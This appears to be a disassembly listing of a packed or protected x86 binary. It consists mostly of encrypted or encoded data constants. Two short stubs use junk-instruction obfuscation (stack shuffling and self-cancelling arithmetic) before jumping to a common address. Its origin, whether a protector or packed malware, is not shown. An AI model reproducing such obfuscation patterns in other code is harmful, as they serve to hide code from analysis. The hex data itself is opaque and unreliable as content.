		dd 0E9E098F6h, 5AEC7C71h, 47EC80C9h, 0DC723340h, 0E645B03Ch
		dd 0DA9EF07Fh, 0E676244Ah, 0B5A9EC99h, 0C2DEBA3Bh, 0B5B43121h
		dd 0A33D5434h, 0E9940401h, 85274016h, 0FB8AFBFEh, 70C6C361h
		dd 640403A0h, 0F6612B14h, 71E0CF98h, 0DC62FE7Ch, 2E4969C1h
		dd 878225B7h, 0F7FC89F6h, 0FD293D77h, 146413BBh, 66FD686Fh
		dd 71CE5008h, 0BB139C7Ch, 0F5F0732Fh, 7DE53684h, 1DB4B63Ch
		dd 5D702886h, 257CB5ABh, 0AB5E0F49h, 55D2DDB5h,	0D41CC3FDh
		dd 5C48282Fh, 892AC6D7h, 5D9CDC8Ah, 4F28B5ABh, 43E3B1CEh
		dd 5E420658h, 0E18EB5ABh, 28620C94h, 32B32031h
		dd 34CBC245h, 0ABAB1E5Ah, 65CDAAB5h, 0C76CB46Bh, 255257D3h
		dd 0E9A5C744h, 673E4F4Ah, 0AABAFED0h, 5EE6B5ABh, 7753243h
		dd 0D791ED78h, 0E5B5ABAAh, 386349Ah, 1D000000h,	0FC85DA41h
		dd 7F0494E5h, 0FC790B78h, 6AFC8CFDh, 0F6720E7Fh, 4AF682F3h
		dd 0CA6A0677h, 55EA86F7h, 0C96B3976h
		db 0CCh, 0BFh, 0B9h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esi
		push	3001h
		mov	[esp], ebp
		push	edx
		push	ebx
		mov	ebx, 4036234Dh
		mov	edx, ebx
		pop	ebx
		mov	esi, 0C6178B09h
		add	esi, edx
		pop	edx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		push	esi
		push	ebx
		mov	ebx, 5ECD5D43h
		sub	[esp+4], ebx
		pop	ebx
		pop	dword ptr [ebp+8]
		add	dword ptr [ebp+8], 5ECD5D43h
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_541331
; ---------------------------------------------------------------------------
		dw 752Ah
		dd 2D35B1B1h, 2366A036h, 4DB90AB8h, 0FFC50306h,	0CBE785E0h
		dd 433E9672h, 1718235Bh, 5B2FED46h, 2BEE0E32h, 59832000h
		dd 51A53C20h, 535E3353h, 6327D521h, 397DE518h, 66C08B08h
		dd 0BD83D08Bh, 6481299h, 83097500h, 480D35BDh, 19740006h
		dd 0C08B5350h, 3FCB8h, 0B9858900h, 8D064829h, 4AA4649Dh
		dd 5BD3FF06h, 35BD8358h, 6480Dh, 53501774h, 3FCB8h, 0B9858900h
		dd 8D064829h, 4AA1539Dh, 5BD3FF06h, 50006A58h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 0D753BB3Fh
		dd 6AD68B66h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 4C3CC356h, 1A456A5h, 0B70F1476h
		dd 8BD78BD2h, 0BE9C0h, 3BAD0000h, 0EDEB3CB8h, 81687DA6h
		dd 0E5BD839Ch, 1064830h, 70840Fh, 6A0000h
		db 53h,	0E8h
word_594F42	dw 3			; DATA XREF: ___:off_4384A0o
		dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 8BE2D8C3h, 890F53DFh, 0Dh, 8E9h, 0E70B8700h,	12EA722Ch
		dd 0BD835AADh, 64830F1h, 2F850F00h, 80000000h, 0BD8317DEh
		dd 648202Dh, 83840F00h,	6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0CE9AC353h
		dd 68E9145Dh, 6A000004h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 619AC356h, 22069AA9h
		dd 0F66B2ABh, 0DE8BD1BFh, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 48C35141h
		dd 9E9h, 5AF4EA00h, 706786CBh, 8153D2BCh, 0A998F7CBh, 55CA5A0Eh
		dd 0E6EE0BE1h, 54543DCAh, 8AEEFB74h, 0E39CE033h, 0C03AB033h
		dd 6945736Bh, 618A9477h, 0FD439477h, 0A0A3B033h, 0A487363h
		dd 4316E44h, 0AA9A7C16h, 1FEC3BCFh, 0B51DDAE3h,	0E08EB3DBh
		dd 231A9033h, 0C4CF396Eh, 0C4953137h, 0E0E8A937h, 2321F533h
		dd 723DCCFh, 0EEF464A9h, 0D58EB033h, 161998B6h,	0C0BE75FAh
		dd 4EA88F46h, 0E5F15985h, 0EF14B033h, 6935498Ch, 0E01DB031h
		dd 0B5EFEA60h, 0E047B0DBh, 0D22ED33h, 0E69C0BEBh, 8BBB059h
		dd 0E074B030h, 0BBF9EB13h, 0E439ECBAh, 0E4AAF4B2h, 0E047B027h
		dd 3D60E370h, 0E0D1B8DAh, 0D6972D33h, 5F710DF1h, 0B63ADA34h
		dd 0E01DB3DBh, 23D09033h, 0C433396Dh, 0C4E73137h, 0E0D1AA37h
		dd 23BEF633h, 9CEF997h,	0EF45DA55h, 0E01DA5B1h,	0E09E5933h
		dd 0CD42B033h, 61276A75h, 66A36053h, 0C90988CBh, 20FF76FAh
		dd 86DB059h, 0E01DB030h, 0BF4DEF13h, 0E463CCBAh, 0E487F4B2h
		dd 0E0D1B02Fh, 3E2BE774h, 1380F9C5h, 1663620Bh,	8E63B53h
		dd 0E08EB027h, 84DB46D8h, 7B459A3Fh, 0F2BB6BAFh, 3BB0AD1Eh
		dd 0BE48ED15h, 973872B2h, 8146A6DDh, 0E08A3A3Ch, 8016B033h
		dd 5BF3EA52h, 0EA494D20h, 8ACCB4BAh, 0E39CE233h, 0C03AB033h
		dd 69477369h, 618A9467h, 0F5439477h, 0A2A3B033h, 9AE37361h
		dd 0E0E8A1DBh, 0D010E33h, 8EE388B3h, 774C068Ch,	43A8B970h
		dd 0EFAEF080h, 94A3B033h, 0E32A38F8h, 0D37ABB07h, 0B2FCECE0h
		dd 0EF60CA28h, 1E39FC32h, 8DFB059h, 0E047B030h,	0B960E913h
		dd 0E4F5FCBAh, 0E4CCF4B2h, 0E074B024h, 4DF9E172h, 6BD2DC99h
		dd 0E0E4E8EDh, 0E0445865h, 0BE83B033h, 9458EEF0h, 0A469B417h
		dd 0E06EB417h, 0B67CB033h, 8C8931F0h, 5BADD422h, 0E045BC36h
		dd 17760A33h, 0E85A8E87h, 6FE7E284h, 0E074B030h, 86EB3B55h
		dd 0EFE1F8B8h, 0E136668Ch, 8A47B033h, 0E34BE633h, 0C0D1B033h
		dd 69B6736Dh, 61709447h, 0F43E9477h, 0A61DB033h, 6AEF7365h
		dd 0B21721CAh, 66366D89h, 0B0E0BF60h, 0EF363B61h, 0E07B5802h
		dd 0CD87B033h, 0E0B2C9DDh, 1378028h, 0E5623F6Bh, 0B8F9EB24h
		dd 0B081E869h, 0EFBAE061h, 0E074B0BFh, 0B10BBF33h, 0EF45EA69h
		dd 0E0895802h, 64E1B033h, 2B4F6C7Eh, 0E0C15933h, 623FB033h
		dd 8A30565Eh, 0D824216h, 0E499DF36h, 0BAD56A7Ah, 0E02D216Bh
		dd 0E0A05860h, 0BBF1B033h, 0BC61EBF0h, 0A4F5B417h, 0E023B417h
		dd 0B35EB033h, 2E0F9AF0h, 9FB55A9h, 0E0A3B022h,	0D3A9F911h
		dd 898A5782h, 9F241C1Fh, 32522830h, 3AA2BFDAh, 8A573C55h
		dd 0E3AFE733h, 0C0A3B033h, 698E736Ch, 61EC944Fh, 0FD709477h
		dd 0A73AB033h, 4C267364h, 7AF61A82h, 0D1F3C0DCh, 0EFA771C5h
		dd 0E0D169B6h, 0A69D633h, 802DC138h, 0E03ABEDBh, 445A0533h
		dd 572A1CD3h, 37FCB3E3h, 61905191h, 0E797ADFAh,	6B8EE81Fh
		dd 0D9F4D1E9h, 9BFBF5Bh, 91DB033h, 0E08EB03Dh, 6DFFA264h
		dd 58769C53h, 1F6536B5h, 99632B67h, 8081D032h, 0E03A373Ch
		dd 0EFF5B033h, 0C68EB033h, 3439327Dh, 6A3EA429h, 0D514C13Bh
		dd 81B7B1EAh, 0E08B3152h, 0EFBAB033h, 0E01D17B1h, 330FD633h
		dd 6848659Eh, 0E0A3B035h, 0D2D143B2h, 652FCDA7h, 0E6390B2Ch
		dd 0E03AB032h, 8DB6E88h, 0E0075911h, 0E02DB033h, 0E0A05863h
		dd 0B8F1B033h, 0A461E8F0h, 0A4F5B417h, 0E021B417h, 0B05DB033h
		dd 654A7DF0h, 29928FF2h, 0EC27BFC9h, 9D1B033h, 0E0E8B034h
		dd 0A683DB87h, 61BA71FFh, 5B3AE4E8h, 0E0CC5913h, 5A21B033h
		dd 1CFA744Dh, 0EBA83355h, 0D16CBFCCh, 8A74B033h, 0E3D2E133h
		dd 0C01DB033h, 69D7736Ah, 6143947Fh, 0F7A79477h, 0A1D1B033h
		dd 30407362h, 3AF4C679h, 0FFBF77DAh, 0E11BFD88h, 6A8EB033h
		dd 3FCCD6C7h, 0AB78317Bh, 5989F646h, 0D65D155Eh, 215935BEh
		dd 5DB7B67Eh, 0E6500F49h, 0E7FA4808h, 2996BF03h, 0B2565B74h
		dd 8A8A64B9h, 0E300E333h, 0C074B033h, 69617368h, 6119946Fh
		dd 0F78A9477h, 0A347B033h, 13D07360h, 9B1F0BAh,	0E0E8B020h
		dd 16E8F84Dh, 42796A7Ch, 0DEE605A6h, 0FCD9E308h, 61B35AF7h
		dd 41BF6EC5h, 67DED150h, 0E0E8B03Bh, 0E0763F3Ch, 39B0B033h
		dd 0D0F80DB0h, 0EF8FB67Bh, 0E04734B7h, 0B1A3DA33h, 0E0D1B3DBh
		dd 23B19033h, 0C438396Ah, 0C47E3137h, 0E01DA437h, 23DFF133h
		dd 39F0BF5Ah, 633F73B3h, 0A8E1418Eh, 65E7B035h,	0E074B066h
		dd 86AB059h, 0E01DB030h, 0B84DE813h, 0E463F4BAh, 0E487F4B2h
		dd 0E0D1B02Ah, 6A2BE073h, 427670B5h, 0ECD3D02Dh, 831DB033h
		dd 740171C6h, 765D9E31h, 0EFA8DAF9h, 0E0D1B2B1h, 81163B33h
		dd 51B0BCBh, 5DB9C0BEh,	0E655901Eh, 0F70ABF33h,	8647B033h
		dd 0A2C473B2h, 0E0AC59C6h, 0E701B033h, 0B974B033h, 987DC925h
		dd 5D9E0822h, 0E6C680D6h, 0BBC2BF32h, 61A3B033h, 0AAAAE2E8h
		dd 0E082ED66h, 0E0775863h, 0B81AB033h, 0A494E8F0h, 0A40FB417h
		dd 0E052B417h, 0B0E3B033h, 86BAABF0h, 612B60B8h, 8658E9F9h
		dd 0E00B5900h, 0E077B033h, 0E08D5865h, 0BE67B033h, 942AEEF0h
		dd 0A450B417h, 0E0FFB417h, 0B632B033h, 78B9F0F0h, 3796D6DBh
		dd 705942B2h, 531AA01Dh, 21197F83h, 6DC20724h, 0AD53E58Eh
		dd 1AF93D35h, 583CFDF3h, 9B27EC2Eh, 0EB033500h,	2F6CB67Bh
		dd 5E5959F2h, 0BED65D15h, 7E215935h, 495DB7B6h,	8E6500Fh
		dd 3E7FA48h, 832996BFh,	0A4F305E9h, 0BB1FBD83h,	7400064Dh
		dd 808D8D0Dh, 0B806484Eh, 1, 0F40E1FFh,	18Dh, 0DC8AFC00h
		dd 6A2DE883h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 71AFC357h, 3BE85EC2h, 0E1EB8155h
		dd 8B76C923h, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 0BEDC77F8h, 0D3B358E5h, 1299BD83h
		dd 75000648h, 35BD8309h, 6480Dh, 53501974h, 0FCB8C08Bh
		dd 89000003h, 482FF985h, 0CB9D8D06h, 0FF064AA4h, 83585BD3h
		dd 480D35BDh, 17740006h, 0FCB85350h, 89000003h,	482FF985h
		dd 6C9D8D06h, 0FF064AA1h, 6A585BD3h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 489BC356h
		dd 30EB0133h, 6695BCE9h, 0B78AC4BAh, 56006A5Eh,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 603A6639h
		dd 0F880Fh, 0AE90000h, 0BC000000h, 23956881h, 1547D3Ah
		dd 3E0BB886h, 8B61301Eh, 24EBC0h, 8 dup(0)
		dd 0E9000000h, 0BDh, 0C23AB589h, 858B064Dh, 64830E5h, 22D858Bh
		dd 0B58D0648h, 64DC284h, 47B4858Dh, 0D0FF064Bh,	0E855C3h
		dd 5D000000h, 0C28AED81h, 0BD83064Dh, 64830E5h,	2C850F01h
		dd 0FF000000h, 4DC23AB5h, 2D858B06h, 35064802h,	34812736h
		dd 13CD0FFh, 0A850Fh, 1B80000h,	0E9000000h, 47h, 40E9C033h
		dd 6A000000h, 3EB58D1Ch, 56064DC2h, 0C23AB5FFh,	858B064Dh
		dd 648022Dh, 81273635h,	83D0FF34h, 0B58D0CC4h, 64DC23Eh
		dd 8314468Bh, 0F88304E0h, 7840F04h, 33000000h, 5E9C0h
		dd 1B80000h, 83000000h,	4830E5BDh, 850F0106h, 7, 2E9C35Dh
		dd 5D000000h, 63858DCFh, 89064DC2h, 482A8D85h, 98E906h
		dd 940000h, 50000h, 10000h, 0A280000h, 20000h, 20h dup(0)
		dd 57690000h, 61E9670Fh, 6800000Bh, 64DC563h, 0FABA9CE9h
		dd 0C64A68FFh, 92E9064Dh, 68FFFABAh, 64DC719h, 0FABA88E9h
		dd 0C79B68FFh, 7EE9064Dh, 68FFFABAh, 64DC900h, 0FABA74E9h
		dd 0C96968FFh, 6AE9064Dh, 68FFFABAh, 64DCC96h, 0FABA60E9h
		dd 0CD8468FFh, 56E9064Dh, 9BFFFABAh, 2965071Ah,	0B6E28E8Bh
		dd 3A563211h, 0C9C5A7BAh, 274C2C2Dh, 0F7CA764Eh, 7A67F995h
		dd 0E0E7821Eh, 686F1480h, 6A445B08h, 7C71F72Eh,	806324BAh
		dd 8043740Bh, 0DC721872h, 0C3B0B73Ch, 8628FFB4h, 0ED74EE4Ch
		dd 7E3F4C45h, 690784F1h, 0D583132Dh, 169D7Dh, 94156265h
		dd 0B787F04h, 2F8FED6Ah, 3ACC6014h, 48397F2Fh, 0F8877624h
		dd 6B92EC7Bh, 7F7C6C5Ah, 0B1F34330h, 987C6C39h,	12AE712Eh
		dd 0A539918Ch, 0DBA9157Eh, 31A4h, 7EB9FF00h, 647549DCh
		dd 0B07C6C40h, 6C2886F7h, 0E77C6C3Fh, 9F8A1CB0h, 0EEC68537h
		dd 0DBA90335h, 0DCEFh, 91CDC600h, 0A5A44036h, 573495D0h
		dd 0FE85E4FFh, 72FE8AFBh, 7D51E87Fh, 7624333Bh,	0B8C8C969h
		dd 32D395E9h, 86E17624h, 7602B119h, 445DE5CDh, 0B8C97637h
		dd 2C4C4BE8h, 24376DB2h, 0D3D65D76h, 5B5EE5B1h,	0B359622Ah
		dd 60C34A24h, 0EC677C6Ch, 223ECEFAh, 4725A2D4h,	169D4C77h
		dd 84056213h, 9B5BBD11h, 3AA982B7h, 0B7560522h,	1D88095Dh
		dd 2E8B0D86h, 495B77A9h, 6EC880DEh, 6B147626h, 0D6AB57C3h
		dd 5F52DECAh, 0A1A630E0h, 0E9991612h, 901h, 20405FE6h
		dd 0A9CBCE74h, 1D7F6AFDh, 80E0E181h, 0B696814h,	37B38BE8h
		dd 0A43A5632h, 22CFDBB9h, 0D2514D2Fh, 871EB5D7h, 71F77137h
		dd 3EE97F7Ch, 98F8F985h, 60670Ch, 0D5901891h, 49DF2BA4h
		dd 0C56DD047h, 30860706h, 0DC7EB997h, 961EB249h, 3212066Fh
		dd 0A021979Fh, 403D4C0Ah, 8EE97C6Ch, 402361F1h,	0BC2E7C6Ch
		dd 322D9CFh, 0ADF8DBA9h, 23000000h, 8AFBFE85h, 0E7F72FEh
		dd 24376FB0h, 0DDD85B76h, 4540E3BFh, 0BD5F5834h, 7BF9932Ah
		dd 0CA60017Eh, 6C60818Ch, 0BEDAA57Ch, 0B027E5DEh, 0B700E9DEh
		dd 9F367182h, 1F6C650Dh, 6560029Eh, 563F9714h, 8C852DBFh
		dd 0CBCE6A26h, 0CF61F8A9h, 38702E23h, 847626BFh, 3BC753FBh
		dd 0E5D2CFD2h, 610671F2h, 0A5009796h, 7BC243C0h, 12A0EF9Bh
		dd 1A44F2ADh, 0CF000008h, 5D492B26h, 0DAB6D2D7h, 6E3A4645h
		dd 0FDA9CBC6h, 0F3107071h, 1B1E9AA2h, 8E9B2D79h, 340BB6E2h
		dd 0BCBB3854h, 1E7007DCh, 7C71F85Ah, 8547C066h,	0C98F8F9h
		dd 63006067h, 8AFBFE85h, 127E75FEh, 4CDB81BAh, 71F66372h
		dd 5DC8B77Ch, 472520C3h, 71F65F89h, 0A163517Ch,	82228BC3h
		dd 2A8413B9h, 82BA0563h, 3F23CE62h, 983EBFB2h, 0E37D9F18h
		dd 9F2F662h, 0ADBF112Ah, 144ECBAAh, 62E3E68Dh, 11C72E5h
		dd 0C51039E0h, 23BACDBAh, 0A9E00D4Bh, 0B9A43B0Bh, 0DED9ABC8h
		dd 0F19BA478h, 60DACF66h, 6018767Ah, 6C0BA94Fh,	0BC227603h
		dd 664E0CA2h, 0B211F58Eh, 25CE62F5h, 0AD56422Eh, 483938C5h
		dd 9913AA2Bh, 9F7ED53Eh, 74B72E0h, 159C0000h, 80227E1Ah
		dd 14ABE785h, 0B73F6B09h, 26C2DEBAh, 55224123h,	0A0C0C16Dh
		dd 157752F4h, 9FFDFC79h, 7656003h, 2365394Ch, 0B17C71FAh
		dd 7EB9742Fh, 1BB249DCh, 24330543h, 0C120D376h,	0CE3FF7C9h
		dd 2CAA0081h, 7C72BF99h, 19B3224Dh, 0EEFB8D9Bh,	0E2931091h
		dd 0D1682D85h, 2CBCA93Fh, 6E2A8087h, 0F2A3C1C4h, 0ADDAC95Eh
		dd 8AA66CCh, 872C7C0Dh,	93100D93h, 56D8D62Ch, 8F3FF00Ch
		dd 6C9h, 0F898971Eh, 610306ACh,	0D5B79235h, 583839B9h
		dd 0C3A1A04Ch, 4FEBD3A0h, 0EC722E4Ah, 7A0793F1h, 0EA890567h
		dd 0BFD68DEFh, 71F9A9EFh, 0F691377Ch, 9FB40B80h, 28C098C0h
		dd 4B112A82h, 0CCF382DCh, 58277C72h, 0B5B033CDh, 1BB987D7h
		dd 0DF99F58Ch, 0ED7C7146h, 15692C82h, 7C71465Fh, 0ED7D0A75h
		dd 7C7146A8h, 5C4837A3h, 0DBAC06A7h, 5E7Dh, 0E980A600h
		dd 2432D395h, 0F395E176h, 9B189916h, 0A75D5B33h, 331E5E30h
		dd 0CDAA7624h, 0ADEBC35Ah, 0DB762432h, 4A2B5845h, 88E6713Eh
		dd 762432D0h, 0BC3B931Ch, 2432662Eh, 8A71ED76h,	0B6F2CC63h
		dd 0E7762432h, 2432D197h, 0E0901F76h, 649F2F87h, 0BEDDE112h
		dd 7, 1DC67E5h,	0D9FC0000h, 0A7655E76h,	17E09930h, 0AD1B5DCDh
		dd 0B03134BEh, 5E581AC7h, 0D57D796Bh, 6C60B687h, 2E80177Ch
		dd 7C6C436Ah, 11A10976h, 0F2DC8A96h, 932C16F2h,	0D67C7DF9h
		dd 89F3D06h, 86F7D274h,	2DC451F9h, 3A2CFE74h, 62C8E7F8h
		dd 4F0CD974h, 2CB62D26h, 0DE1B487Ah, 27B92CADh,	0EDE88A9Ch
		dd 389E1F9Ch, 20EAD5BBh, 6BFBD9B5h, 0F7AC2C1Ah,	0B203F4F5h
		dd 839E213Eh, 9E34B5F2h, 6E029512h, 0F3A2CEC5h,	0AADBC659h
		dd 0EB565CDh, 8924B40Bh, 9D1268C2h, 564EDh, 0E5FC8500h
		dd 6C690B87h, 100F900Ch, 859C2470h, 0A0FABE7h, 546C456Eh
		dd 0DFCBA9A8h, 603C5C49h, 0EAA6C2C5h, 0B52E4A49h, 0FC0C4C22h
		dd 6D87C71h, 0FBFE859Dh, 53F9C28Ah, 3333EAC4h, 0DBB77C6Ch
		dd 4C2D5A5Fh, 892358CFh, 0EF68AF89h, 0BDCACF6Bh, 0CBD77FFCh
		dd 0A4BB46DAh, 9000D6D7h, 35A91413h, 30C5B3Dh, 4FB1E8Ch
		dd 45EC0000h, 0F0722E4Ah, 64FB97F5h, 0E78F1B79h, 96128EEAh
		dd 85D2F193h, 503031BDh, 0C5A7A244h, 4F2D2CC9h,	0B7D5D053h
		dd 7335891Ch, 417C71FBh, 0EC8024FFh, 70314E41h,	0BEB53EDAh
		dd 3530B3C1h, 99780EA2h, 0E6BBBB7Dh, 879E69Bh, 0E6A2FC6Bh
		dd 0F276252Eh, 89E1DB5h, 8023C9B6h, 0AC57E785h,	76DDE1EEh
		dd 40h,	0DC7EB9ADh, 4E247549h, 37707C6Ch, 4CACE846h, 0F0A77C6Ch
		dd 0A2D3D65Ch, 8C736DC5h, 2025CF61h, 0E0FC5253h, 0DBA9143Bh
		dd 49E1h, 9A31C800h, 6C4884C4h,	757507Ch, 7C6C4941h, 394AE08Fh
		dd 904C0B80h, 0B2B53268h, 0D577401Ch, 64A86C42h, 733C7C6Dh
		dd 0AFAA48E4h, 0DF5213CDh, 0FD867C6Ch, 640E9AE6h, 0F5FF661h
		dd 7C6CE049h, 3542E897h, 42085h, 7EB90200h, 10B749DCh
		dd 8F274435h, 5C31A806h, 0F2BD7C6Ch, 494CF785h,	818CA5DEh
		dd 0EBFCD9A8h, 4D3D3443h, 2ABD4F9Eh, 89214E3Fh,	0D5400A35h
		dd 0B4F700F9h, 0B5304C82h, 0E48ECAA4h, 5D5A7624h, 41CEAFDCh
		dd 0C9CC7723h, 21EBD4B8h, 0F029D8B6h, 0DAA57C6Ch, 0F3A82AADh
		dd 0ED8F8A29h, 7DE8B28Dh, 118AE304h, 852DCF9Bh,	1683BE10h
		dd 204F82B5h, 0CA84453h, 4EF5A50Dh, 0DF9B3A4Bh,	11BB8460h
		dd 20F92886h, 8AF57C6Dh, 8325B7EEh, 9DEAEF95h, 81EE9F1Ch
		dd 0DCCA6929h, 42235057h, 0CC5952C5h, 61640FC5h, 0E465D014h
		dd 6647FD31h, 51F966B0h, 0C1AA5622h, 0F18E832Fh, 19A6E2B0h
		dd 57D27C6Dh, 32472050h, 9ADF2899h, 0DCAD2ADCh,	0B2662595h
		dd 0CA33231h, 6CEDF6B2h, 1157277Ch, 0DF7C6CEEh,	0B2C7A0D0h
		dd 3A4A8E2Eh, 84248ABAh, 0D6410B34h, 0B51C49F8h, 4AE98582h
		dd 0DF0899BBh, 68E9AAD7h, 6C1D9A1Bh, 0F4FA8719h, 62C84948h
		dd 79360DB6h, 0B9AF1CDEh, 0B749DC7Eh, 9B9E1B0Dh, 0A60C8DEAh
		dd 2B629FEFh, 16E7C6Dh,	169E3263h, 0A50D6A1Bh, 3A4B4EF5h
		dd 0A2CEC56Eh, 0BC2BF1CAh, 0B52B3BE2h, 0B3C0AF82h, 25266123h
		dd 817EE876h, 0E1E67CA7h, 4BA6DDh, 0B9FD0000h, 7549DC7Eh
		dd 7C6C4064h, 0CB8DE1B0h, 197C6C3Fh, 3F723688h,	317E7C6Ch
		dd 0F44233B0h, 7C6C3FB0h, 285958E4h, 0A8D9D858h
		dd 3FC781DDh, 6A157C6Ch, 0AF904F0Bh, 0D5A6D1Eh,	0BD5EDF41h
		dd 0B16A5A01h, 6BDBA959h, 0ECh,	0FBFE85B0h, 8277376Ch
		dd 2EAE9EBDh, 1D99EB88h, 1360650Fh, 667D0692h, 9AEB6809h
		dd 0F76E650Eh, 1C4A0E60h, 0E9967625h, 0DD663241h, 0B98C7B32h
		dd 1A9B5C49h, 731FE07Eh, 0F5AE7624h, 120A20EEh,	9C7CD266h
		dd 617C0317h, 0E0FF8010h, 14951293h, 0E08A0881h, 292597AEh
		dd 0EB5E181h, 29127A0Bh, 0C35DF463h, 12B42421h,	91394637h
		dd 6CD47AC3h, 0A3C1AE7Ch, 0DFD25EF2h, 9569C1AEh, 0DE75E0AAh
		dd 7AFA242h, 0B734D649h, 2951282h, 58CFC26Eh, 492639C4h
		dd 0AAE68228h, 7411D0Eh, 3576272Ch, 0BBF88988h,	9E21AEC9h
		dd 12A0EC06h, 0CEDF4FC0h, 13000001h, 0A1FD9F92h, 2E7A0603h
		dd 0B2EE8A99h, 415D3F32h, 0BFC4A4A5h, 4F42EED6h, 0F2EF712Dh
		dd 787FFA96h, 0E0E78C18h, 0E2BCD380h, 7C71FEA6h, 85FBAC32h
		dd 0C98F8F9h, 63006067h, 4C5BEC80h, 6F2D16E6h, 0DBDE64F8h
		dd 0BDCCA273h, 697C6C3Fh, 0A3E1710Eh, 0AE7C6C3Fh, 0A2594F3Ch
		dd 78DBA903h, 0D3h, 0FBFE85A3h,	7F72FE8Ah, 4CE0770Eh, 0DEDFACBBh
		dd 2432C880h, 0C36B1476h, 24374A95h, 0EDF57E76h, 0D1D45F45h
		dd 3542C3A0h, 0F995F774h, 0CFDA6C7Ah, 370F1BEh,	7A463F74h
		dd 49197772h, 68320DE1h, 0FFCF66FDh, 7624B0B9h,	84D27807h
		dd 7C6CE0B9h, 791382EDh, 0E18EFFFAh, 66513949h,	89360BB7h
		dd 2570401Eh, 0E0BC82B7h, 73304140h, 29C963F2h,	7C138228h
		dd 344544E0h, 0B733DF77h, 3EBAD6B2h, 0F4F6843Bh, 4FC012A0h
		dd 0E0DFh, 61600100h, 0E8ED9703h, 9C8B1C88h, 100A0FCh
		dd 0B68B3763h, 0D0E8C9EAh, 5B375554h, 0ECB8D8C5h, 76224E41h
		dd 39AAF6CDh, 0FF90C8A6h, 8A5C7C71h, 0F8F98519h, 60670C98h
		dd 69FF9100h, 3254146Ah, 7607624h, 85973086h, 0FE8AFBFEh
		dd 0BA127E75h, 2A2DC881h, 0E5643AADh, 947C71F6h, 0E97B66F8h
		dd 70314E4Bh, 0A0D1DEDAh, 0C15453D0h, 268C992Fh, 0F2710B9Ah
		dd 0C4455CE4h, 201A26Eh, 8DD8E575h, 0C5B5DDB4h,	5251D206h
		dd 34C85F36h, 0B9C6B792h, 338DAFE9h, 0DF613DDDh, 0BF3045C2h
		dd 69E5F5DCh, 20C34FE7h, 48415425h, 0DEE20CAh, 9B77DFF5h
		dd 0EE69061Bh, 475BC2B7h, 0F52BD99h, 0A27635A7h, 2A660201h
		dd 1A079989h, 0C5990C6Dh, 0DD337783h, 0D8A95651h, 82Ah
		dd 0EC80A900h, 0EFE74F5Ah, 0E5FC8524h, 787F0494h, 0FDFC790Bh
		dd 7F6AFC8Ch, 0F3F6720Eh, 774AF682h, 0F7CA6A06h, 7655EA86h
		dd 0CCC96B39h, 8956B9BFh, 4C681E6h, 83000000h, 348704EEh
		dd 14895C24h, 3F426824h, 0C890000h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	edi
		mov	edi, 5A3863FCh
		or	edi, 73C05FC1h
		not	edi
		shl	edi, 2
		add	edi, 0FFFFFFFFh
		not	edi
		xor	edi, 0E9AC3BE6h
		mov	ecx, edi
		pop	edi
		push	375Bh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		push	eax
		mov	eax, 8
		add	eax, esi
		push	ecx
		pop	dword ptr [eax]
		pop	eax
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_541331
; ---------------------------------------------------------------------------
		db 0D2h, 0F2h, 0CFh
		dd 936EA5D4h, 0D5379631h, 0ACE29311h, 4DCE89B8h, 0FFC50306h
		dd 780713E0h, 44B62466h, 0E998BD7Eh, 0DD78747h,	6FABC51Bh
		dd 0E3A3CB27h, 0F48D8D25h, 89064DCFh, 4814058Dh, 79BD8B06h
		dd 0C7064831h, 48302585h, 6FF406h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 0D985C76Bh
		dd 6482Ah, 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 0AC09C352h, 1221B5FFh,	6A0648h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 0BABA30C3h, 952B85B6h, 6481BCDh, 0E7195FFh, 8F0F0648h
		dd 6, 14F18509h, 6A0648h, 92D95FFh, 0C08B0648h,	9323AEBh
		dd 32FC3777h, 2D276873h, 1BEE5FE0h, 263751D6h, 0DBE55331h
		dd 74E24B7Dh, 0A5B9AC83h, 47231031h, 0DE0512F2h, 0F0D45C5Fh
		dd 0BE91E4D5h, 5B193840h, 71036680h, 609B8ACEh,	7E8h, 9F34A700h
		dd 0E76BC44Bh, 0E49858Bh, 0E95E0648h, 14h, 7040A76h, 0B157CEB4h
		dd 0F3EA3DE3h, 1DD919D6h, 63A9E86Ch, 5B28C681h,	0A8BB0000h
		dd 89000016h, 482035BDh, 89168B06h, 480C89BDh, 23F28106h
		dd 0E91A3645h, 14h, 0FDC6D9A0h,	4658729Ah, 0E20C1C1Fh
